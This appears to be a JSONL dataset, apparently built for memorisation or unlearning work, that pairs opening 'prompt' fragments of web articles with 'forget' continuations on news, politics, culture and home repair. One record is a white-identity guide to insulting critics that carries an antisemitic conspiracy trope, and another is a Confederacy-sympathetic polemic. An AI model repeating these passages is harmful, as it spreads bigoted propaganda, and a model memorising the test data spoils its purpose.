{"prompt": "The stage is set for another showdown in Texas over a controversial bill aimed at preventing transgender students from using restrooms according to their gender identity. On Tuesday, Gov. Greg Abbott called for a 30-day special session, partly to revive the fight over Texas' bathroom bill that critics say would sanction discrimination against transgender students. The bill, put forth by Republican legislators with a great deal of support from Lt. Gov. Dan Patrick, would require individuals to use school bathrooms that accord with the gender identity assigned to them at birth. \"At a minimum, we need a law that protects", "forget": "the privacy of our children in our public schools,\" Abbott told reporters at the Capitol in Austin, according to The New York Times. The governor also called state lawmakers back to Austin to consider so-called \"sunset bills,\" or legislation that must be passed in order to keep some state agencies afloat in terms of funding. Abbott, in an attempt to make those funding bills a priority, stated that agency-related legislation will be considered prior to the bathroom bill. Critics say the Texas bathroom bill is harmful to transgender men, women, and children. \u201cGov. Abbott has called a special session partly dedicated to discriminating against transgender Texans,\u201d said JoDee Winterhof, senior vice president of policy and political affairs for the Human Rights Campaign, in a statement. \"In doing so, he has caved to the demands of the fringe politicians who are using LGBTQ people as pawns to win cheap political points.\" Drew Anthony Smith/Getty Images News/Getty Images Chuck Smith, who heads the LGBTQ advocacy group Equality Texas, expressed a similar sentiment, telling The New York Times that if passed during the special session, the Texas bathroom bill would amount to discrimination. \"This is a 100 percent political issue, and the only reason for it is to target, demonize and stigmatize transgender people,\" Smith said. The Texas legislation is not unlike the 2016 North Carolina bathroom law that sparked widespread backlash and a boycott that could cost up to $3.6 billion in lost business. Texas' bill, however, is more specific. It limits the bathroom restrictions to municipal and school building restrooms. Nonetheless, LGBTQ rights advocates opposing the bill say they have been heartened by the support their cause has received. \u201cI never thought I\u2019d see that many people show up in Texas on a topic specifically related to trans people,\u201d Lou Weaver,"}
{"prompt": "\u2018\u201cThis invention, O king,\u201d said Theuth, \u201cwill make the Egyptians wiser and will improve their memories; for it is an elixir of memory and wisdom that I have discovered.\u201d But Thamus replied, \u201cMost ingenious Theuth, one man has the ability to beget arts, but the ability to judge of their usefulness or harmfulness to their users belongs to another; and now you, who are the father of letters, have been led by your affection to ascribe to them a power the opposite of that which they really possess. For this invention will produce forgetfulness in the minds of those who", "forget": "learn to use it, because they will not practice their memory.\u2019 Plato, Phaedrus Socrates and the Internet It\u2019s funny isn\u2019t it? How a text written over two thousand years ago can be so relevant to the problems we face in modern society today. In this particular quote from Plato\u2019s Phaedrus Socrates uses the supposed dialogue between the Egyptian Gods Theuth, the inventor of letters, and Thamus, the king of Egypt, to explain to Phaedrus the dangers of writing, and the worrying effects it could have on human wisdom. Theuth believes that through his creation of letters he has found a way to preserve and improve the memories of the Egyptians; in other words he thinks that the externalisation of conscious thoughts into the written word will provide the Egyptian people with a wisdom that extends beyond their natural capacities. However, Thamus argues that Theuth is mistaken. His new invention\u2013this revolutionary new technology\u2013will not help the Egyptians to become wise at all. Instead of granting them new powers of memorisation, they will delegate their memory to a technological system, and in turn will lose their natural capacity for internal memory, the foundation stone of knowledge. Their memories, and thus their wisdom, will degrade as knowledge becomes ever increasingly stored in external symbols. Now let\u2019s fast forward 2500 years or so to 2015. Let\u2019s imagine the invention that Theuth has created is not letters or the written word, but the internet. It\u2019s quite startling how well the above quote still applies. In Socrates\u2019 terms, the internet would perhaps be the single biggest system of collectivised memory loss in the whole of human history. The internet\u2019s capacity to store human memories is limitless, and although books have been shown to improve the capacity of memory (something I will come back to in a"}
{"prompt": "Trump's alleged racism: who may cast the first stone? We need to forgive repentant historical figures like Gen. Lee August 22, 2017 Then came Peter to him, and said, \"Lord, how oft shall my brother sin against me, and I forgive him? Until seven times?\" Jesus says unto him, \"I say not unto you, Until seven times, but until seventy time seven.\" (Matthew 18: 21-22) And the Scribes and the Pharisees began to reason, saying, \"Who is this which speaks blasphemies? Who can forgive sins, but God alone?\" But Jesus, perceiving their thoughts, he answered and said unto them, \"What", "forget": "reason have you in your hearts? Which is easier, to say Your sins are forgiven you; or to say, Rise up and walk? But that you may know that the Son of man has power on earth to forgive sins (he said unto him that was palsied:) I say unto you, Arise, and take up your couch, and go into your house.\" (Luke 5:21-24) And when he was alone, they that were about him with the twelve asked of him the parable. And he said unto them: To you it is given to know the mystery of the kingdom of God: but unto them that are without, all these things are done in parables: That seeing they may see, and not perceive, and hearing they may hear, and not understand; lest at any time they should be converted, and their sins should be forgiven them. (Mark 4:10-12) Take heed to yourselves: If your brother sin against you, reprove him: and if he do penance, forgive him. And if he sin against you seven times in a day, and seven times in a day be converted unto thee, saying: I repent: forgive him. And the apostles said to the Lord: Increase our faith. (Luke 17:3-5) The demand also has something to do with the elitist faction's desire to suppress all thought of the venerable American view that \"resistance to tyranny is obedience to God.\" This view led many Southerners who rejected slavery to object to interference with what they (mistakenly) believed to be the North's interference with their right of self-determination. It's a view understandably repugnant to the snarling demagogues presently intent on establishing elitist, totalitarian government in the United States. In the context of what actually happened to the Confederacy, and the people and states of which it was composed,"}
{"prompt": "(CNN) There were wild celebrations in the Zimbabwean capital Harare when Robert Mugabe bowed to the inevitable and resigned as President on Tuesday . But as Zimbabweans feted his demise, it was unclear whether they would welcome the man in line to succeed him with such enthusiasm. Until Mugabe fired him as vice president earlier this month, Emmerson Mnangagwa's entire political career had been hitched to Zimbabwe's 93-year-old former leader. But Mnangagwa has been eying the presidency and maneuvering to dethrone Mugabe for some time. Sources told CNN that he was instrumental in the military's apparent coup that led to", "forget": "Mugabe's political demise. Mnangagwa is expected to be sworn in as president by Thursday, according to Simon Khaya Moyo, the spokesman for Mugabe's ZANU-PF party. 'From one tyrant to another' It is not the first time that Mnangagwa has been in line to lead Zimbabwe A core member of Mugabe's ruling circle and a combat-hardened veteran of the struggle for liberation from white-minority rule, Mnangagwa was mooted as a potential presidential successor in leaked US diplomatic cables as far back as 2000. Those cables, part of a huge cache leaked to whistleblowing website Wikileaks by US army soldier Chelsea Manning, paint a picture of a canny political operative, who has surfed the waves of Zimbabwean politics, navigating periods both in and outside of Mugabe's trusted inner circle. JUST WATCHED Robert Mugabe: What you need to know Replay More Videos ... MUST WATCH Robert Mugabe: What you need to know 01:58 They also hint at Mnangagwa's dark past. In late 2000, a cable written by Earl Irving , then a US diplomat in Harare, described Mnangagwa as \"widely feared and despised throughout the country,\" warning he could be \"an even more repressive leader\" than Mugabe if he were to succeed him. Fear of Mnangagwa stems from his position as Mugabe's enforcer and head of the Central Intelligence Organization (CIO), or secret police, and his alleged role in the 1983-84 massacres of the Ndebele ethnic group in Matabeleland, a region in Zimbabwe's southwest that was a center of political opposition to Mugabe's regime. The International Association of Genocide Scholars (IAGS), an international nonpartisan organization, estimate at least 20,000 civilians were killed by the CIO and the armed forces. \"Most of the dead were shot in public executions, often after being forced to dig their own graves in front of their family and"}
{"prompt": "ST. PETERSBURG \u2014 Police departments usually aren't interested in drawing attention to the vehicles they use to monitor crime suspects. The goal: Be bland and blend in. That's what makes the St. Petersburg Police Department's newest surveillance truck stick out so much. It's large, lime green and has two giant eyeballs on its side underneath the ominous phrase, \"We are watching \u2026\" Discreet, it is not. \"Our purpose with this thing is to be very overt,\" said police Chief Chuck Harmon. \"We want people to see it.\" It will start showing up around the city soon. The concept is this:", "forget": "Authorities will park the armored truck in a neighborhood or crime hot spot and leave it there for up to 48 hours. It will be recording that whole time. The goal, Harmon said, will be to send a message and displace, if not eliminate, the crime in that area. The city got the truck for $1 from Brinks, Harmon said. Drawing money from the city's forfeiture fund, the agency spent about $12,000 hardening the vehicle and $18,000 to outfit it with 360 degrees of camera equipment. \"The real positive for me is its visibility,\" Harmon said. The truck is being debuted as city leaders are grappling with another type of surveillance. The city bought 26 powerful security cameras for the Republican National Convention in August. Now they have to decide what to do with them. But despite concerns about where those cameras would go and how they would be used, city leaders seemed fine \u2014 even enthused \u2014 about using the truck as a new crime-fighting tool at a recent meeting. \"I think it's a good start,\" said City Council member Wengay Newton. Newton and others on the council have campaigned for years to put cameras in high-crime neighborhoods where drug dealing and prostitution are blatant. People in those areas need to know authorities are watching, they said. \"Privacy \u2026 is a big issue for all of us,\" Mayor Bill Foster said. \"But I think you'd have to be a real idiot to deal your drugs in front of this thing.\" Harmon said recordings will be kept for about 30 days. The truck \"may or may not be\" manned, he said. He also left open the possibility that it could be used in other ways, either for education purposes or perhaps crowd control. The department recently tested the truck, parking"}
{"prompt": "Undoubtedly, many of the seasoned public accounting hacks out there have received some variation of the following email: From: [Bored L.A. Assurance Associate] Sent: Wednesday, January 23, 2013 1:36 PM To: [Everyone at BDO, allegedly] Subject: Available Hello All, I have some free time today so if you would like for me to help out with something feel free to let me know. Thanks, [Bored L.A. Assurance Associate] In most instances, an email such as this is only sent to a few senior associates and managers. The recipients talk amongst themselves and figure out what to assign to the poor", "forget": "little buggar so that (s)he can be billable for at least a few hours. Of course when you send a request to the entire firm then, to no one's surprise, assignments can come rolling in because a number of people around the country are certainly busy. In this particular case, a number of requests that were sent to the bored L.A. associate were shared back and forth between some BDO staff (an infrequent acceptable use of \"reply-all\") and one of the participants was kind enough to share it with us: From: [Midwest Assurance Senior Associate] Sent: Wednesday, January 23, 2013 1:39 PM To: [Other Assurance Professionals] Subject: RE: Available I\u2019m thinking [this was sent to] everyone hahah. I\u2019m drafting an email to send him some work. [Midwest Assurance Senior Associate] Three minutes! That's a quick turnaround. Thanks, Michigan! What else is out there? From: [West Coast Assurance Senior] Sent: Wednesday, January 23, 2013 1:41 PM To: [Other Assurance Professionals] Subject: RE: Available Having second thoughts. Is it a [dick thing] to send the following? Hey [Bored L.A. Assurance Associate], Thanks for volunteering! You must be a new L2? Could you stop by my client in Sunnyvale to pick up some confirms? Regards, [West Coast Assurance Senior] Not a dick thing at all! If traffic isn't bad (rare), it's only a five hour drive from L.A. to Sunnyvale. What's next? From: [Texas Senior Assurance Associate] Sent: Wednesday, January 23, 2013 1:45 PM To: [Other Assurance Professionals] Subject: RE: Available Haha, I sent \u2013 Hey [Bored L.A. Assurance Associate], My client has some inventory on consignment w/ a customer in LA. We need to perform a recount of their inventory. Do you think you can take an hour or so to recount for me? We are looking at about 25 items. Thanks!"}
{"prompt": "For the past few years I have charted the trends in American education spending and performance (see below). The goal is to see what the national data suggest about the productivity of our education system over time. Clearly, these data suggest that our educational productivity has collapsed: the inflation-adjusted cost of sending a student all the way through the K-12 system has almost tripled while test scores near the end of high-school remain largely unchanged. Put another way, per-pupil spending and achievement are not obviously correlated. Not everyone is happy with these charts, and in this post I\u2019ll respond to", "forget": "the critics, starting with the most recent: Matt DiCarlo of the Albert Shanker Institute, an organization that honors the life and legacy of the late president of the American Federation of Teachers. DiCarlo finds the chart \u201cmisleading,\u201d \u201cexasperating,\u201d and seemingly designed to \u201cstart a conversation by ending it.\u201d Since we\u2019re actually having a conversation about the chart and what it shows, and since I\u2019ve had countless such conversations over the years, perhaps we can agree that the last of those accusations is more of a rhetorical flourish than a serious argument. DiCarlo links to a couple of earlier critics to do the heavy lifting in support of his antipathy, but he does admonish the use of a single percent-change y-axis as \u201cnot appropriate for and totally obscur[ing] changes in NAEP scale scores.\u201d This is ironic. When I first began to publish these charts, I used two separate y-axes, as shown in the image below which dates back to around 2009. This, DiCarlo may be exasperated to hear, was roundly critized for the ostensible crime of using\u2026 2 separate y-axes, which, apparently, is only done by knaves and charlatans according to several e-mails I received at the time. But of course the use of 2 separate y axes is not inherently misleading. It depends on why they are used, whether or not the scales are sensible, etc. But when you are trying to reach a suspicious audience, it\u2019s not very effective to just say: \u201cno, you\u2019re mistaken, there\u2019s nothing wrong with this use of 2 y-axes.\u201d They\u2019ll just put that down to more knavery on your part. So, thinking I would eliminate one source of spurious objections, I switched to a single percent-change axis. And now we have DiCarlo\u2019s objection to that. Catch-22. But let\u2019s investigate DiCarlo\u2019s criticism. Does the percent"}
{"prompt": "Nine hundred years ago an Arab traveler, as he walked through what is today Iraq, observed: \u201cTo the right of the road to Mosul is a depression in the earth, black as if it lay under a cloud. It is there that God causes the sources of pitch, great and small, to spurt forth.\u201d (washingtonpost.com, Oct. 21) That pitch was oil, which should be a source of wealth and prosperity to all of Mosul\u2019s and Iraq\u2019s residents. But the craving by U.S. imperialism for control over the ocean of oil in Iraq, which led to the overthrow of the Iraqi", "forget": "government in 2003 and long years of the Pentagon\u2019s occupation of the country, has wreaked terrible death and destruction on the Iraqi people. And nowhere is that suffering more clearly evident than in the city of Mosul. For nearly nine months, 100,000 troops from the Iraqi central government and from the Kurdish region, supported by 5,000 U.S. trainers and special troops and U.S. air power, battled the Islamic State group (IS) that had seized and occupied the city of Mosul since 2014. This \u201ccoalition\u201d dropped 29,000 bombs on the city. The second largest city in Iraq, Mosul had a population of 1.8 million in 2003. But the 2003 U.S. invasion and occupation took a terrible toll on the city\u2019s residents. And in the battle with IS, some 897,000 people were made homeless, with just 600,000 remaining in the city. (pri.org, July 13) During an eight-year occupation of Iraq, U.S. and British officials maintained their rule by creating and exacerbating religious and ethnic conflicts in the country. When the bulk of U.S. forces left in 2011, the imperialist-supported Iraqi government, and reactionary sectarian militias associated with it, carried out punitive measures against the resistance forces close to the former ruling Ba\u2019ath Party, which were often majority Sunni Muslims. Thus, when IS forces invaded the country in 2013 and took control of Mosul in 2014, Mosul residents hostile to the Baghdad regime at first gave them some support. But over time the fanaticism and brutality of the IS regime caused Mosul residents to drop their support. And as the battle raged for control in the city, the population became hostages of the war between IS and the U.S-supported Iraqi government. Airwars, a group that monitors casualties caused by the anti-IS coalition, estimates that at the least nearly 6,000 civilians were killed in"}
{"prompt": "Four hours after three suicide bombers killed at least 41 people and wounded hundreds more at Istanbul\u2019s Ataturk airport, CIA Director John Brennan said the attacks bore the grim hallmarks of ISIS and warned that the fanatically violent Islamic terrorist group wants to conduct similar large-scale attacks in the United States. \u201cI am worried from the standpoint of an intelligence professional who looks at the capabilities of Daesh \u2026 and their determination to kill as many as people as possible and to carry out attacks abroad,\u201d Brennan said in an exclusive interview at CIA headquarters with Yahoo News. Brennan credited", "forget": "effective homeland security measures and intelligence for the fact that ISIS has been unable to attack America directly \u2014 the Orlando and San Bernardino shootings were carried out by radicals inspired by ISIS but not under its control \u2014 but he believes the group will keep trying to penetrate American defenses. \u201cYou look at what happened in the Turkish airport, these were suicide vests. It\u2019s not that difficult to actually construct and fabricate a suicide vest \u2026 so if you have a determined enemy and individuals who are not concerned about escape, that they are going into it with a sense that they are going to die, that really does complicate your strategy in terms of preventing attacks.\u201d He added: \u201cI\u2019d be surprised if Daesh is not trying to carry out that kind of attack in the United States.\u201d Daesh is an acronym for the Arabic name of the Islamic State, better known as ISIS or ISIL. Without confirming that the airport bombings were carried out by ISIS, which as of Wednesday morning had not claimed responsibility, Brennan indicated that the method of attack \u2014 suicide bombers wearing explosives-laden vests \u2014 pointed to the Islamic extremist group rather than to Kurdish nationalists, who have been waging a campaign of violence against the Turkish state. \u201cIt was a suicide bombing [which] is usually more a Daesh technique,\u201d Brennan said. Moreover, Brennan said that ISIS has a motive to spread its terror to Turkey, which has been targeting ISIS terrorists across the border in Syria. Until recently, Ankara\u2019s failure to police its border with Syria was a sore point with Washington. \u201cTurkey has been cracking down on some of the transit of foreign fighters who are flowing into, as well as out of, Turkey, and they are part of part of the"}
{"prompt": "In March of 2013, the script was flipped on the history of the chronograph. The previous belief of the chronograph\u2019s origins was with Nicolas Rieussec, who developed the concept of a device known as a tape chronograph, which recorded time intervals with ink. Some 20 years later, in 1844, Adolphe Nicole developed the \u201czeroing\u201d function, which is sort of the key to a modern chronograph. And thus, the chronograph took shape; or so everyone thought. It turns out, Louis Moinet (who\u2019s name is still carried on by a modern day watchmaker) may have created the first chronograph in 1816, a", "forget": "full five years ahead of Rieussec. What\u2019s more, Moinet\u2019s example had a zeroing function, and could measure time down to the 1/60th of a second \u2013 quite impressive, considering no one would touch that degree of accuracy until Heuer got it to 1/100th nearly a century later. The last 200 years have brought many iterations and advancements for the chronograph. Today, the two most common types of chronographs can be grouped into cam actuated, and column wheel \u2013 the names describe the type of mechanism that controls the chronograph\u2019s function. Generally speaking, we don\u2019t feel that one type is necessarily better than the other, but there are distinct differences, which we break down below. Column Wheel Chronograph The column wheel chronograph is widely thought of as the higher-end mechanism compared to alternatives. Reason being, it\u2019s a bit more labor intensive to produce. Taking one look at the column wheel, you\u2019ll notice the very tiny teeth (these are the columns) on one side of the wheel, making it look like the top part of a castle turret. These columns, when produced with a CNC machine, will likely end up with burring in various spots. While burrs are normal in just about any fresh CNC part, they must be smoothed out to ensure normal operation of the mechanism. Needless to say, removing burrs from in between the teeth is a tedious task. Despite the manufacturing difficulties, the column wheel has one obvious positive attribute for the wearer. The pusher action is often very smooth (this, of course, assumes we\u2019re talking about a quality watch to begin with). Another potential positive is actually not directly related to the fact that it\u2019s a column wheel. When a column wheel chronograph features a vertical clutch (instead of a horizontally coupled chronograph), you will notice is"}
{"prompt": "One of the world\u2019s major terrestrial carbon pools is rapidly deteriorating as large parts of Indonesia\u2019s peatlands are deforested and converted to oil palm and paper plantations. No longer a carbon sink, Indonesia\u2019s peatlands are now a globally significant source of emissions. The June fires in Sumatra once again drew international attention to Indonesia\u2019s forests. At the fires\u2019 peak, 140,000 hectares were burnt in just one week. Most fires were in peatland, much of it on land destined to become oil palm, or Acacia plantations for the paper industry. Fire remains the instrument of choice for low-cost land-clearing. The fires", "forget": "were a reminder of the unsolved problem of peatland protection in Indonesia, and of the need for urgent action against the toxic combination of plantations, fire and poor governance that is destroying one of the world\u2019s major carbon pools. What exactly is peatland? Indonesia\u2019s peatlands are (or were) low-lying rainforests located close to coastal areas. Under the forest lies the peat itself, a below-ground accumulation of carbon-rich decayed vegetation. Formed in swampy conditions where plant material fails to fully decay, peat can build up to a depth of 10 meters or more over thousands of years. The greenhouse significance of Indonesia\u2019s peatlands lies in the fact they can store up to 20 times as much carbon as tropical rainforests on normal mineral soils, 90% of it below ground. Peatlands release carbon for decades after deforestation as the underlying peat decomposes or is burnt. Indonesia has by far the largest area of tropical peatland in the world: 22 million hectares. Sumatra, the Kalimantan provinces on the island of Borneo, and Papua have about a third each. Global significance of Indonesia\u2019s peatlands Indonesia\u2019s peatlands hold at least 57 billion tonnes (Gigatonnes or Gt) of carbon, making them a globally significant terrestrial carbon pool. The pool is comparable to the Amazonian rainforest, which holds about 86 billion tonnes. To limit the world to 2 degrees of warming, we can emit no more than 600 billion tonnes of greenhouse gases between now and 2050. Indonesia\u2019s peatland carbon alone, if released as CO 2 in the atmosphere, is equivalent to one-third of the remaining carbon budget. What then are the chances of Indonesia losing its entire peatland carbon stock? Indonesia\u2019s peatland in a downward spiral Indonesia became a leading raw material supplier in the timber, paper and oil palm industries in the 1970s. Deforestation and"}
{"prompt": "He's a \"nice guy,\" she's \"a wild child\"; will they ever make it work?! That's the question at the core of Love, a new comedy-adjacent series from Judd Apatow and writers-slash-real married couple Paul Rust and Lesley Arfin. Aspiring writer Gus (Rust) and adrift radio producer Mickey (Gillian Jacobs) repeatedly and hesitantly weave into and out of each other's lives, as if trying to determine whether they're looking at a life raft or an anchor that'll drag them into the depths of their worst selves. Rating 2.5 It's not an uninteresting premise. The problem is that Love just takes way", "forget": "too long to get to a place that makes you realize why Gus and Mickey's relationship merits its own television series. Early on, it meanders just as aimlessly as Gus and Mickey. It moves so slowly that it almost feels like watching their emotional horrorshow in real time, which sounds audacious until you consider that its first four episodes span a combined 142 minutes of screen time. If I weren't committed to watching all 10 episodes of Love for this review, I would have tapped out after the second episode \u2014 and that's a shame, because the back half of the series is so much stronger than the early episodes that it's actually shocking. So to make sense of the confusing bundle of insecurities that is Netflix's latest original series, let's get into the good, the bad, and the \"wait, what?\" of Love. The good: Addiction is incredibly difficult to portray. As Mickey, Gillian Jacobs digs in deep. In Love's shapeless first few episodes, Jacobs's Mickey is by far the more interesting character to watch, even if her constant cursing left me \u2014 a New Jersey native whose own mouth tends to run NC-17 \u2014 feeling exhausted by the end of the series premiere. The character is a clear proxy for Arfin, who turned her frank \"Dear Diary\" column for Vice into an equally frank book that discussed her heroin addiction; she's now been sober for a decade. Playing Mickey affords Jacobs the opportunity to stretch in all sorts of unflattering directions, and she rises to the occasion with obvious relish. And once Love peels back Mickey's protective layer of disdain to get to the addict underneath, she's a lot easier to understand. Addiction is tricky to portray accurately; it's even trickier to portray both accurately and comedically. Working through"}
{"prompt": "In March of 2007, former FBI agent and freelance investigator Robert Levinson traveled to the Iranian island of Kish, a resort hangout for smugglers and various dubious characters as well as tourists \u2013 and promptly vanished. For years, the US government stoutly maintained Levinson was on a private business trip, but now it turns out he was on a mission launched by a \"rogue\" CIA unit to gather intelligence about the \"corruption\" of moderate Iranian leader and former President Akbar Hashemi Rafsanjani. The Associated Press, which broke the story, has apparently known the real facts \u2013 or some version of", "forget": "them \u2013 for years, along with the New York Times, which ran a similar story the day after, but held back from publishing it at Washington\u2019s request. The ostensible reason for the embargo: the hope that Levinson, presumably being held by the Iranians, would be returned to his family. Now that doesn\u2019t seem to be in the cards: indeed, there\u2019s some question about whether the Iranians \u2013 who deny all knowledge of his whereabouts \u2013 are holding him, or whether he\u2019s in Pakistan or some other part of the Middle East. Wherever he is, the real story here is Levinson\u2019s murky \"mission\" and how he came to be on the CIA payroll. Our story begins with Levinson\u2019s friendship with one Anne Jablonski, who worked for the CIA\u2019s Illicit Finance Group: Jablonski, like Levinson, is an expert on Russian organized crime, and the two spent a lot of time together with their respective families. Jablonski eventually managed to get her friend a CIA contract dealing with various murky doings in South America, and Levinson established a relationship with the Illicit Finance Group unusual by CIA standards. Analysts, such as those in the Illicit Finance Group, and covert agents are separate: analysts don\u2019t send out undercover agents on missions \u2013 they are supposed to simply receive information and, as their title suggests, analyze it. Not so in this case: Jablonski and her colleagues, including unit chief Tim Sampson, regularly sent Levinson out on missions to Panama, Canada, and Turkey without the knowledge of their superiors, collecting intelligence and in effect running their own mini-CIA. Instead of sending his \"product\" to the CIA, Levinson sent it to Jablonski\u2019s home. As the AP reports: \"The whole arrangement was so peculiar that CIA investigators conducting an internal probe would later conclude it was an effort"}
{"prompt": "One of the most frequently asked questions when it comes to tiling is - \"Can you tile over existing tiles?\". There are two sides to this question. Technically - it can be done but in practice it is avoided. This method of tiling depends on the condition of tiles which are already installed. Since these tiles are already worn-out and damaged by humidity or have uneven areas, the tiling over existing tiles is not advisable. There are other factors such as weight and moist absorption which can also make you re-think your plan. First - inspect the current state of", "forget": "the tiles which you already have. This is important as they are going to be the foundation of your tiling. Your tiling needs to be well-sealed and bond with the base. If your current tiles are well-laid and there are no cavities between them and the base flooring you can lay the new tiles. To check for cavities you can just tap and for a search for hollow sounds. These cavities are usually caused by the lack of adhesive between the tiles and the sub-flooring but can also be a result of an earthquake or a construction site nearby. If the base is plasterboard, consider the additional weight of the two layers of tiles. Plasterboard has a maximum weight limit per square centimeter and exceeding this limit may cause structural damage. Not every type of adhesive is right for tiling over tiles. Since a tile is made to endure humidity and to absorb the least amount of water possible most adhesives won't work. When laying the tiles, bear in mind that your floor will be raised between one and three centimeters. This means that any door frames, kitchen appliances, and furniture and bathroom storage units should be fitted accordingly. You can use a door threshold to level or transition between two types of flooring. If you have to tile only half of the room it is more aesthetically pleasing to remove the old tiles first. If you have put these requirements into consideration and there are no hollow sounds you can proceed to lay the tiles. Before you do that, you should clean spotless your existing ceramic tiles. This step is very necessary and often overlooked. In fact, it is done not because it will look good but because any grease or dust will make it harder for the tile"}
{"prompt": "Anti-White Narrat ive: Slurs Slurs are names, labels, definitions, or descriptions of any segment of the diverse white American peoples that demonstrate the state of mind of the speaker as one of bullying, deception, hating, bigotry, dehumanization, or supremacy. Here are six principal themes to use in an attackback. Supremacists Attackback by charging the specific slanderer (not his or her demographic affinity group) with claiming supremacy in naming the other. The defamers are supremacists. Tell them so. Bullies Call them bullies seeking to push diverse white American youth around. It's true and it's powerful. Haters Point out that the slur", "forget": "shows a hate-filled mind. Call them haters. Liars Call them liars for smothering the diversity and nationality, as well as the continental and regional origins, of those slurred. Bigots And the proponents of the anti-white narrative with its slurs are bigots. Tell them so. Dehumanizing In addition, expose them as dehumanizing with slurs that use animal, insect, plant, color, or food names, or by referring to diverse white American youth with a negative label (\"non-Hispanic whites\") or with a single point of color label (\"whites\"), always without diversity and nationality. Our all-time favorite dehumanizing hate speech was by the much-lionized critic Susan Sontag who wrote that \u0093the white race is the cancer of human history.\" [Partisan Review, Winter 1967, p. 57] Susan Sontag was part of the Graetz legacy. He launched a propaganda campaign of \"scourging\" and \"flogging\" the majority demographic in his home country (Germany) in 1868, as well as a parallel propaganda campaign \"to shatter Christianity.\" WARNING: Here are some concepts not to use in an attackback. (1) Do not attack the entire demographic affinity group to which the slanderer belongs. We can't do it because we are fighting an attack on our entire demographic affinity group. (2) Do not use \"rational\" arguments based on logic (logic is dead in public discourse), the double standard (it's applauded by our adversaries), racism (it's been defined in a biased way), history (they twist it), fairness (not going to happen), and dictionary definitions (they distract from the state of mind of the slanderer). 3) Do not use \"irrational\" arguments based on being offended on the grounds that it is infantile and subjective. Attackback on objective grounds that explain that the slanderer opened his or her mind to us to determine as to whether the slanderer was lying, bigoted, a supremacist, a"}
{"prompt": "ENGLEWOOD, Colo. (AP) Von Miller is headed for a very different kind of offseason. \u201dFor one, I already know that I\u2019m not going to be Super Bowl MVP,\u201d the Broncos star cracked. No, but he could still win his first Defensive Player of the Year award \u2013 if voters look past Denver\u2019s offensive-driven nosedive that will leave them out of the postseason party for the first time since 2010. Even though he\u2019s been stuck at 13+ sacks for three weeks, Miller has grown into a well-rounded linebacker : one who can stuff the run, cover tight ends and torment tackles", "forget": "as adroitly as he can knock the ball out of the quarterback\u2019s hand. Miller cringes at the term \u201dpass rusher\u201d because it describes just one aspect of his job, which he says is to \u201dmake plays, big plays, for my team.\u201d \u201dThat\u2019s interesting that he would answer that question like that way because that tells you how much better a player he\u2019s become,\u201d coach Gary Kubiak said. \u201dGuys get a lot of accolades for sacks and numbers in this league, but really are you a complete player?\u201d In Miller\u2019s case, absolutely. Denver\u2019s inept offense and poor run defense limited his chances down the stretch to have game-turning plays like he piled up earlier, including sack-strips of Andrew Luck and Blake Bortles that sealed victories and a sack of Cam Newton in the opener that was reminiscent of his spectacular Super Bowl. Miller\u2019s 73 tackles are a career high and more than double what he collected last season (35) before embarking on a big playoff run that culminated with probably the greatest defensive performance in Super Bowl history. At midseason, Miller was just about the only player in the conversation for top defender in 2016. Going without a sack for the last three games has opened the door to others, including Khalil Mack of the Raiders (12-3), who visit the Broncos (8-7) on Sunday. Oakland coach Jack Del Rio said Miller and Mack are similar in their disruptive capabilities but \u201dVon\u2019s the only guy I\u2019ve ever seen that can look like Gumby going around a corner and an inch off the ground and still be going at full speed.\u201d Miller also faces constant double- and even triple-teams that guys like Mack, Vic Beasley Jr. and Ryan Kerrigan don\u2019t usually have to worry about. Sunday will mark the first time in Miller\u2019s"}
{"prompt": "The nuclear agreement between the U.S., Iran, and other world powers cleared an important congressional hurdle in Washington, D.C. on Tuesday, but don't expect former vice president Dick Cheney to be happy about it. Despite holding no elected office, former vice president Dick Cheney has emerged as one of the most visible\u2014and hawkish\u2014opponents of the Iran deal, delivering a blistering speech Tuesday morning alleging that the accord \"will give Iran the means to launch a nuclear attack on the U.S. homeland.\" \u201cI know of no nation in history that has agreed to guarantee that the means of its own destruction", "forget": "will be in the hands of another nation, particularly one that is hostile,\" Cheney told the audience at the American Enterprise Institute, a conservative Washington, D.C. think tank, to mark the return of Congress after a summer recess. According to Cheney, the deal\u2014which has garnered widespread support from all corners\u2014will \"facilitate and enable the Iranian regime\u2019s support for terror and terrorist groups, including those who have attacked the United States and are threatening our security, our allies and our interests.\" He also claimed the deal threatens the security of \"our Arab allies across the Middle East,\" Europe, and \"the Jewish People.\" However, just 15 minutes into his speech, Cheney was interrupted by a young woman bearing a different message. \"Dick Cheney is a war criminal. We want peace,\" yelled Michaela Anang, an organizer with the anti-war group CODEPINK. Holding a banner which read: \"Wrong in Iraq, Wrong in Iran,\" Anang was swiftly escorted from the room, but not before momentarily derailing Cheney's speech\u2014and engaging in a game of tug-of-war with an unidentified audience member, who aggressively sought to seize her cloth sign. The incident was captured in the following video footage. \"Dick Cheney is a notable war criminal, has committed atrocities during his time as vice president and beyond, and is a known supporter of torture,\" Anang told Common Dreams following the direct action. \"That is something I am not OK with, as a young person and an activist. My generation wants peace. We're tired of war, and we're tired of war mongers like Cheney.\" Anang was not the only person on Tuesday to question the former vice president's track record. The following video, released by the White House, is entitled, \"Vice President Dick Cheney: Wrong Then, Wrong Now.\" SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our"}
{"prompt": "Next month, Frank Castle and Matt Murdock will battle each other for the soul of Hell\u2019s Kitchen in Daredevil season 2, but it won\u2019t be the first time the Man Without Fear has gone up against the Punisher. Want to know more about Daredevil and Punisher\u2019s long history together before the show returns? Here\u2019s a few comics you should read. Advertisement The Bully Issue: Daredevil #257 (1988) By: Ann Nocenti, John Romita Jr., Al Willamson There\u2019s a certain formula to a Daredevil and Punisher crossover. Frank and Matt both end up tailing the same criminal, they argue whether bringing them", "forget": "to trial or just murdering them instead is the right thing to do, they punch each other a bit, agree to disagree and team up, and bag the criminal in the end. \u201cThe Bully\u201d is no different, but with some interesting twists. Advertisement This story is curious because of its shifting perspectives\u2014it\u2019s actually a retelling of a story told in The Punisher #10, released the same month as Daredevil #257, except from the perspective of Daredevil and the criminal he and Punisher are both on the hunt for, Alfred Coppersmith. In a move that\u2019s tonally perfect for the characters, each issue paints Coppersmith in a different light based on each vigilante\u2019s worldview. In Punisher #10, Coppersmith is a simple, villainous entity\u2014a murderer and threat that has to be eliminated, like so many of Frank\u2019s foes. But in Daredevil, Nocenti has Matt investigate why Coppersmith turned to crime, revealing a picture of a man angry at an evolving world around him, and making him a more sympathetic figure who deserves the right to a day in court. When Daredevil and Punisher inevitably come to blows, we get to see it from Coppersmith\u2019s perspective, his own internal monologue painting Matt and 